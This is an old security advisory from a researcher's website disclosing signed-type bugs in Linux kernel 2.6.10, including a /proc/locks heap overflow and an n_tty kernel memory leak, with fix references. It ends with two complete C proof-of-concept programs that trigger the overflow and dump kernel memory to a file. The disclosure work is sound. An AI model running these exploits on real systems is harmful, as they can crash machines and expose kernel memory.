Home
Security
Internet Explorer
Windows 2000
AIX
Netscape
Misc
Other
Services
Links
Mailing list
Random stuff
Contact
guninski@guninski.com
gpg/pgp key

linux kernel 2.6 fun. windoze is a joke

Georgi Guninski security advisory #73, 2004

linux kernel 2.6 fun. windoze is a joke

Systems affected:
linux kernel 2.6.10, probably earlier 2.6.
2.4 not tested

Date: 15 February 2005

Legal Notice:
This Advisory is Copyright (c) 2004 Georgi Guninski.
You  may  not  modify    it   and   distribute    it   or   distribute   parts
of it without the author's written permission - this especially  applies  to
so called "vulnerabilities databases"  and  securityfocus,  microsoft,    cert
and mitre.
If   you   want    to     link     to    this    content      use     the    URL:
http://www.guninski.com/where_do_you_want_billg_to_go_today_3.html
Anything in this document may change without notice.

Disclaimer:
The  information  in  this  advisory  is  believed   to   be   true   though
it may be false.
The opinions  expressed  in  this  advisory  and  program  are    my  own  and
not   of   any     company.    The   usual   standard   disclaimer    applies,
especially the fact that Georgi Guninski  is  not  liable  for    any  damages
caused by direct  or  indirect    use  of  the  information  or  functionality
provided  by  this  advisory  or  program.    Georgi   Guninski   bears   no
responsibility for  content  or  misuse  of  this  advisory  or  program  or
any derivatives thereof.

Description:

There is misuse of signed types in 2.6, leading to buffer overflow and
reading kernel memory.

Details:

WDYBTGT3-1:

there is heap overflow in /proc in at least 2.6.10 and 2.6.11rc1-bk6 (
have not tested 2.4) on i386.

it is combination of:

1.
fs/proc/generic.c:63
proc_file_read(struct file *file, char __user *buf, size_t nbytes,
               loff_t *ppos)
        while ((nbytes > 0) && !eof) {
                count = min_t(ssize_t, PROC_BLOCK_SIZE, nbytes);


(ssize_t) cast is the bug.

2.
proc_misc:
static int locks_read_proc(char *page, char **start, off_t off,
                                 int count, int *eof, void *data)
{

the problem is "off_t off" which on i386 is long, while llseek uses loff_t
which is "long long".


so it is possible to land in locks_read_proc with both "count" and "off"
negative longs but with positive sum, which leads to overflow.

WDYBTGT3-2:

it is possible to read kernel memory on at least 2.6.10 and 2.6.11rc1 on
i386.

the problem is in drivers/char/n_tty.c

-----------------------
static inline int copy_from_read_buf(struct tty_struct *tty,
                                      unsigned char __user **b,
                                      size_t *nr)
ssize_t n;

n = min((ssize_t)*nr, n);
        ^^^^^^^^^
spin_unlock_irqrestore(&tty->read_lock, flags);
if (n) {
       mb();
        retval = copy_to_user(*b, &tty->read_buf[tty->read_tail], n);
                                                                 ^^^

WDYBTGT3-3:

have not been verified on real iron, but this codepath is suspicous:

net/atm/resources.c
int atm_dev_ioctl(unsigned int cmd, void __user *arg)
{
        if (get_user(len, &sioc->length))
                return -EFAULT;

        case ATM_GETADDR:
                        error = atm_get_addr(dev, buf, len);
                        if (error < 0)



net/atm/addr.c
int atm_get_addr(struct atm_dev *dev,struct sockaddr_atmsvc __user *buf,int
size)
{
        unsigned long flags;
        struct atm_dev_addr *walk;
        int total = 0, error;
      if (copy_to_user(buf, tmp_buf, total < size ? total : size))
                                     ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^         
   

WDYBTGT3-4:
have not been verified on real iron, but this codepath is suspicous:

fs/reiserfs/file.c:622
int reiserfs_copy_from_user_to_file_region(
...
int count = min_t(int,PAGE_CACHE_SIZE-offset,write_bytes);
page_fault = __copy_from_user(page_address(page)+offset, buf, count);

[dangerous only if sizeof(size_t) > sizeof(int) ]



WDYBTGT3-5:


Fix:

2.6.11-rc4 availabe at http://www.kernel.org/ fixes the "anomalies" and in
addition adds some checks at the vfs layer and copy_from_user.

Individual patches:

http://linux.bkbits.net:8080/linux-2.6/cset@4201818eC6aMn0x3GY_9rw3ueb2ZWQ?nav=index.html|ChangeSet@-4w
http://linux.bkbits.net:8080/linux-2.6/cset@420181322LZmhPTewcCOLkubGwOL3w?nav=index.html|ChangeSet@-4w
http://linux.bkbits.net:8080/linux-2.6/cset@4208e1fcfccuD-eH2OGM5mBhihmQ3A?nav=index.html|ChangeSet@-4w
http://linux.bkbits.net:8080/linux-2.6/cset@42018227TkNpHlX6BefnItV_GqMmzQ?nav=index.html|ChangeSet@-4w

proggies:
/*
* copyright georgi guninski
* cannot be used in vulnerability databases like securityfocus and mitre
*
* */
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/file.h>
#include <syscall.h>
#include <errno.h>

_syscall5(int, _llseek, uint, fd, ulong, hi, ulong, lo, loff_t *, res,
uint, wh)

void makefiles()
{
int cou,fv;
char vn[242];
for(cou=0;cou<920;cou++)
{
snprintf(vn,sizeof(vn),"TEMPFILEMAYBEDELETE%d.%d",getpid(),cou);
fv=open(vn,O_CREAT|O_RDWR,S_IRWXU);
if (fv <0) perror("open2");
if (flock(fv,LOCK_EX) == -1) perror("flock");

}
while(42);
}

int main(int ac, char **av)
{
int fd,fv,i,cou;
void *mv;
char *he,*he2;
loff_t lr;
char c;


printf("\n\nThis may seriously screw your box\n\n");
printf("This creates a lot of files 'TEMPFILEMAYBEDELE*' in cwd\n");
printf("Press 'Y' to run it\n");
read(0,&c,1);
if (c != 'Y') return 42;
cou=5;
printf("creating files...\n");
while(cou--)
if (!fork())
makefiles();

sleep(20);
printf("starting...\n");
system("sync");
fd=open("/proc/locks",O_RDONLY);
if (fd <0) perror("open");
he=malloc(1024*1024*8);
he2=malloc(1024*1024*8);


if (-1 == _llseek(fd,42,0x80004242,&lr,SEEK_SET)) perror("llseek");
i=read(fd,he2, 0x80004242);
perror("read");
printf("read=%d mv=%x fv=%x\n %.300s",i,(int)mv,fv,he2);
while(42);
return 42;
}

================================================================
/*
* Copyright Georgi Guninski
* Cannot be used in vulnerability databases like security focus and mitre
* */
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <linux/vt.h>
#include <sys/vt.h>
#include <sys/ioctl.h>
#include <string.h>
#include <unistd.h>
#include <term.h>
#include <sys/mman.h>


int main(int ac, char **av)
{
int fd,fv;
int cou=4242,i;
char *bu;
struct termios ti;
struct termios ol;
char zer[1024];

fd=open("/dev/tty",O_RDWR);
if (fd<0) {perror("open");return -42;}
memset(&ti,0,sizeof(ti));
fv=open("kmem1",O_CREAT|O_RDWR|O_TRUNC,S_IRWXU);
if (fv <0 ) perror("open2");

/* how much to read in kilobytes*/
i=40*1024;

memset(zer,0,sizeof(zer));
while(i--) write(fv,zer,sizeof(zer));

bu=mmap(0,0x80000000,PROT_READ|PROT_WRITE,MAP_SHARED,fv, 0);
if (-1 == (long) bu) perror("mmap");
printf("bu=%x\n",(int)bu);
if (ioctl(fd,TCGETS,&ti) < 0) perror("TCGETS");
ol=ti;
ti.c_lflag &= (~ICANON & ~ISIG & ~ICRNL & ~IXON & ~OPOST );
if (ioctl(fd,TCSETS,&ti) < 0) perror("TCSETS");
if (!fork())
{sleep(3);ioctl(fd,TIOCSTI,&cou);exit(0);};
sleep(2);
cou=read(fd,bu,0x80000000);
printf("read=%d\n",cou);
perror("read");

if (ioctl(fd,TCSETS,&ol) < 0) perror("TCSETS");
printf("done. check 'kmem1'");
system("reset");
return 42;
}




--
And did you exchange a walk on part in the war for a lead role in a cage?